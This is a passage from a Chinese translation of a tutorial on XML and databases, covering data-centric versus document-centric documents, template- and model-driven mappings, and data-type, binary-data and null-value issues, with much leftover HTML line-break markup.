construction,<BR>&nbsp;&nbsp;&nbsp;&nbsp; lifetime guarantee.<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 9.95<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 10<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; Stuffing separator:<BR>&nbsp;&nbsp;&nbsp;&nbsp; Aluminum, one-year guarantee.<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 13.27<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 5<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 在XML的世界中，许多内容丰富的文档实际上都是数据为中心的。我们以显示图书信息的Amazon.com网站为例。虽然这个页面是相当巨大的文本，但是这个文本的结构是高度规范的，其中许多的部分对任何的书本描述页面都是相同的，并且特点页面中的各部分的大小都是有限的。也就是说，该页面可以通过一个简单的、数据为中心的XML文档来建立，其中包含了从数据库中检索得到的文本信息以及一个XSL样式表。通常，目前任何通过在模板中填充数据库数据而动态构造HTML页面的网站都可以被上面介绍的用以数据为中心的XML文档和一个或者多个的XSL样式表方式替代。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 例如，我们来看下面的租房(Lease)文档:<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; ABC Industries agrees to lease the property at<BR>&nbsp;&nbsp;&nbsp;&nbsp; 123 Main St., Chicago, IL from XYZ<BR>&nbsp;&nbsp;&nbsp;&nbsp; Properties for a term of not less than TimeUnit="Months"&gt;18 at a cost of Currency="USD" TimeUnit="Months"&gt;1000.<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 可以从下面的XML文档和简单的样式表得到:<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; ABC Industries<BR>&nbsp;&nbsp;&nbsp;&nbsp; 123 Main St., Chicago, IL<BR>&nbsp;&nbsp;&nbsp;&nbsp; XYZ Properties<BR>&nbsp;&nbsp;&nbsp;&nbsp; 18<BR>&nbsp;&nbsp;&nbsp;&nbsp; 1000<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 4.2 以文档为中心的文件<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 以文档为中心的文档的特点是:结构不规范、数据颗粒度更大(即，最小的独立数据单元是包含有混合内容的元素或者就是整个XML文档)以及含有大量的混合内容。其中相同层次的元素和PCDATA出现顺序是非常重要的。典型的例子是书、电子邮件、广告以及大多数XHTML文档。以文档为中心的文档是用于人的使用。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 例如，下面的产品描述文档就是以文档为中心： <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; Turkey Wrench<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; Full Fabrication Labs, Inc.<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; Like a monkey wrench, but not as big.<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; The turkey wrench, which comes in both right- and<BR>&nbsp;&nbsp;&nbsp;&nbsp; left-handed versions (skyhook optional), is made of the finest<BR>&nbsp;&nbsp;&nbsp;&nbsp; stainless steel. The Readi-grip rubberized handle quickly adapts<BR>&nbsp;&nbsp;&nbsp;&nbsp; to your hands, even in the greasiest situations. Adjustment is<BR>&nbsp;&nbsp;&nbsp;&nbsp; possible through a variety of custom dials.<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; You can:<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; Order your own turkey wrench<BR>&nbsp;&nbsp;&nbsp;&nbsp; Read more about wrenches<BR>&nbsp;&nbsp;&nbsp;&nbsp; Download the catalog<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; The turkey wrench costs just $19.99 and, if you<BR>&nbsp;&nbsp;&nbsp;&nbsp; order now, comes with a hand-crafted shrimp hammer as a<BR>&nbsp;&nbsp;&nbsp;&nbsp; bonus gift.<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 4.3 数据、文档和数据库<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 在现实情况中，以数据为中心的文件和文档为中心的文件之间的区别并不是很严格。例如，一个以数据为中心的文件(如一张发票)，也有可能包含粗颗粒度、不规则的数据(如发票的描述部分)。而一个以文档为中心文件(如用户手册)也可能包含有良好颗粒度、规则的结构化数据(通常是元数据),例如作者和修订日期。除此之外，让你的文档具有以数据为中心或者以文档为中心的特点有助于你判断是关心数据还是文档，这也将决定你需要采用什么样的系统。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 要存储或检索数据，你可以使用一个数据库(通常是关系型、面向对象型或者是层次型)和中间件(字带或者是采用第三方)，你也可以使用XML服务器(即创建分布式应用的平台，例如利用XML进行数据传输的电子商务应用)。要保存文档，你将需要一个内容管理系统或者是一致性的DOM实现系统。有关各类系统的探讨在5.0 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; "存储和检索数据" 小节和6.0 "<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; href="#storingretrievingdocs"&gt;存储和检索文档 " 小节。你也能够在 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; href="http://www.rpbourret.com/xml/XMLDatabaseProds.htm"&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; XML数据库产品 中了解详细的相关产品列表。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.0 存储和检索数据<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 在以数据为中心的文档中的数据内容可能来自数据库(此时你想把数据导出为XML格式)，也可能是XML文档(此时你想把数据存储在数据库中)。前者的例子是在关系型数据库中存储的大量现有数据(或称遗产数据);后者的例子是将数据作为XML发布在Web中，而且你想要在你的数据库中进行存储以进行更多的处理。如此，根据你的需求，你可能需要将XML文档转移到数据库的软件，也可能需要从数据库转移到XML文档的软件，或者两者都支持。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.1 转移数据<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 将数据存储在数据库中时，经常需要丢弃大量与文档有关的信息，例如文档名称和DTD，同时还有其物理结构，例如实体的定义和使用、属性值和同层元素的顺序、二进制数据的存储方式(是Base64编码、是未析实体或他方式)、字符数据段和其他的编码信息。类似的，当从数据库中检索数据时，生成的XML文档结果除了非预定义实体lt(&lt;"),gt("&gt;"), amp("&amp;"), apos("’"), quot(""")不包含任何CDATA或实体引用。而同层元素和属性的出现顺序也常常就是从数据库中返回的数据的次序。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 尽管一开始有些让你吃惊，但是这常常是合理的。例如，假设你需要用XML作为数据格式把一张销售从一个数据库中转移到另一个数据库中。在这种情况下，在XML文档中并不关心销售单的编号是保存在销售单的日期的前面还是后面，也不用关心是否将顾客的名称保存在字符数据(CDATA)段还是作为一个外部实体，或者直接当成一个PCDATA。最重要的在于相关的数据是从第一个数据库转移到第二个数据库中。这样，这个数据传输软件就需要考虑数据的层次结构(该结构将销售单的有关进行进行了分组)，而其他则不必过多考虑。 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 忽略文档信息以及其物理结构的后果之一是 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 文档的"逆反回归"的不一致效应，即将一个文档的数据存储在数据库中，然后根据这些数据重新组织成新的文档。而即便是根据标准格式处理，得到的也常常是和前面不同的文档。这是否可以接受要取决于你的需求，而且也将影响到你对数据库和数据传输中间件的选择。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.2 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 从文档结构到数据库结构的映射<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 为了在XML和数据库之间传输数据，需要在文档结构和数据库结构之间进行相互的映射。这样的映射通常分为两大类: 模板驱动和模式驱动。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.2.1 模板驱动的映射<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 在以模板驱动的映射中,没有预先定义文档结构和数据库结构之间的映射关系 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; ，而是使用将命令语句内嵌入模板的方法，让数据传输中间件来处理该模板。例如，考虑下面的模板(注意该模板并不适用任何实际的产品)，在&lt;SelectStmt&gt;元素中内嵌了SELECT语句：<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;?xml version="1.0"?&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;FlightInfo&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;Intro&gt;The following flights have available seats:&lt;/Intro&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;SelectStmt&gt;SELECT Airline, FltNumber, Depart, Arrive FROM Flights&lt;/SelectStmt&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;Conclude&gt;We hope one of these meets your needs&lt;/Conclude&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;/FlightInfo&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 当数据传输中间件处理到该文档时,每个SELECT语句都将被各自的执行结果所替换，得到下面的XML格式:<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;?xml version="1.0"?&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;FlightInfo&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;Intro&gt;The following flights have available seats:&lt;/Intro&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;Flights&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;Row&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;Airline&gt;ACME&lt;/Airline&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;FltNumber&gt;123&lt;/FltNumber&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;Depart&gt;Dec 12, 1998 13:43&lt;/Depart&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;Arrive&gt;Dec 13, 1998 01:21&lt;/Arrive&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;/Row&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; ...<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;/Flights&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;Conclude&gt;We hope one of these meets your needs&lt;/Conclude&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;/FlightInfo&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 这种以模板驱动的映射可以相当的灵活。例如,有些产品可以允许你在任何结果集合中替换你想要的内容(包括在SELECT中使用参数),而不是象上面的例子中简单地格式化结果。另外它还支持使用编程来进行构造，例如循环和条件判断结构。还有一些还支持SELECT语句的参数化，例如通过HTTP来传递参数。 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 目前，以模板驱动的映射只支持从一个关系型数据库转换成XML文档的情况。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.2.2 模型驱动的映射<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 在以模型驱动的映射中,利用XML文档结构对应的数据模型显式或隐式地将映射成数据库的结构，而且反之亦然。它的缺点是灵活性不够，但是却简单易用，这是因为它是基于具体的数据模型来进行映射的，通常能够为用户实现很多地转换工作。由于将数据从数据库转换成XML的结果依照了单个模型, <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 因此通常在这种方式下通常结合XSL来提供模板驱动的系统中所具有的灵活性。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 在XML文档中的数据视图通常有两种模型:表格模型和特定数据对象模型。有时候也可能会出现其他的模型。例如，通过采用ID和IDREF属性，一个XML文档可以用来一个指定的图形。不过，很多现有的中间件并不支持这些模型。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.2.2.1 表格模型<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 许多中间件软件包都采用表格模型在XML和关系型数据库之间进行转换。它把XML的模型看成是一个单独的表格或者是一系列的表格。也就是说，XML的文档的结构和下面的例子相类似，其中在单个表格的情况下，&lt;database&gt;并不出现:<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;database&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;table&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;row&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;column1&gt;...&lt;/column1&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;column2&gt;...&lt;/column2&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; ...<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;/row&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; ...<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;/table&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; ...<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;/database&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 其中的术语"table"可理解为单个的结果集(当从数据库向XML中转换数据时)，或者是一个单独的表格或可更新的视图(当从XML向数据库转换数据时)。如果数据需要来自多个结果集(当数据来自数据库中时)或者与仅仅表达成一系列表格的集合(当转换数据到数据库时)相比，XML的文档包含有更深层次的嵌套元素，那么类似的转换几乎是不可能的。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.2.2.2 特定数据对象模型<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; XML文档中第二种普遍的数据模型是特定数据对象的树型结构。在该模型中,元素类型通常对应对象，而XML中的内容模型、属性和PCDATA则对应对象的属性。这种模型直接映射成面向对象的数据库和层次型数据库，当然借助于传统的对象-关系映射技术和SQL <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 3对象视图也可以映射成关系数据库。要注意的是，这种模型并不是文档对象模型(DOM)。DOM是对文档本身进行建模，而不是对文档中的数据。如<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; href="#writeyourown"&gt;6.1.2小节所述,DOM用来在关系型数据库的基础上建立内容管理系统。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 例如，上面的销售定单文档就可以看作是由五个类所组成的树型结构。如下面的视图所示，包括Orders, SalesOrder, Customer, <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; Line和Part类:<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; Orders<BR>&nbsp;&nbsp;&nbsp;&nbsp; |<BR>&nbsp;&nbsp;&nbsp;&nbsp; SalesOrder<BR>&nbsp;&nbsp;&nbsp;&nbsp; / | Customer Line Line<BR>&nbsp;&nbsp;&nbsp;&nbsp; | |<BR>&nbsp;&nbsp;&nbsp;&nbsp; Part Part<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 当把一个XML文档建模为一棵特定数据对象树时，就没有必要要求元素一定要对应于对象。例如，如果一个元素只包含PCDATA，如销售定单文档中的CustName元素，它可以当作一个属性进行处理，因此属性只包含单一的、标量型数值。类似的，有时将混合元素或元素内容模型化成属性也是非常有用的。一个现成的例子就是在销售定单文档中对Description元素的处理：尽管它在XHTML的格式中有混合内容，但是将Description元素看作单个的属性会更有用些，因为它的组成部分本身并没有什么意义。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.3 数据类型、空值、字符集合和其它<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 本节将探讨一些有关来自数据库的XML文档的存储问题。通常，你决定不了你选择的中间件是如何解决这些问题的，但是你最好应该意识到这些问题的存在，因为这有助于你正确选择你的中间件。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.3.1 数据类型<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; XML不支持任何有实际意义的数据类型。除了未析实体，所有XML文档中的数据都被当成文本来对待，即便它能够用其他的数据类型(如日期或者整数)来表示。通常，数据转换中间件将把XML文档中的文本转换成其它数据库中的数据类型，反之亦然。然而，特定的数据类型所识别的文本格式是有限制的，例如受到提供的JDBC <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; Driver所支持的数据类型的限制。在这些众多的数据类型中，日期类型通常会导致麻烦。不同国际地区的数字格式的差异也可能产生问题。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.3.2 二进制数据<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 通常有两种方法将二进制数据保存到XML文档中的：未析实体和Base64编码处理(一种MIME编码方法，可以将二进制数据映射成US-ASCII的子集)。 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 对于关系型数据库，这两种方法都可能存在问题，因为从数据库中保存和检索二进制数据的规则非常的严格，这样对会导致中间件出现问题。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 另外，并没有一种标准的符号用来说明一个XML文档中的元素包含有Base64编码数据，从而使得中间件可能根本就不能够识别这种编码。最后，在存储数据到数据库时，可能会忽略与未析实体或Base64编码元素相关的符号。所以，如果对你而言二进制数据非常重要的话，请务必要确认你的中间件是否支持二进制数据。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 5.3.3 空值<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 在数据库世界中，空值(null)数据意味着数据不存在值。但是这与一个值为0的数字或长度为0的字符串有很大的区别。例如，假设你的数据来自一个气象站， <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 如果气象站的温度计出了毛病读不出温度值，那么你的数据库中将存储一个null值而不是一个0。显然，值为0完全是另外一回事了 <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; XML中空值概念的支持可以通过设置可选的元素类型或属性来实现。如果元素类型或属性值为null，XML只要在文档不包含该元素或者属性就可以了。但是对数据库而言，空的元素或包含0长度字符串的属性并不是空值null：它们的值为长度为0的字符串。<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; 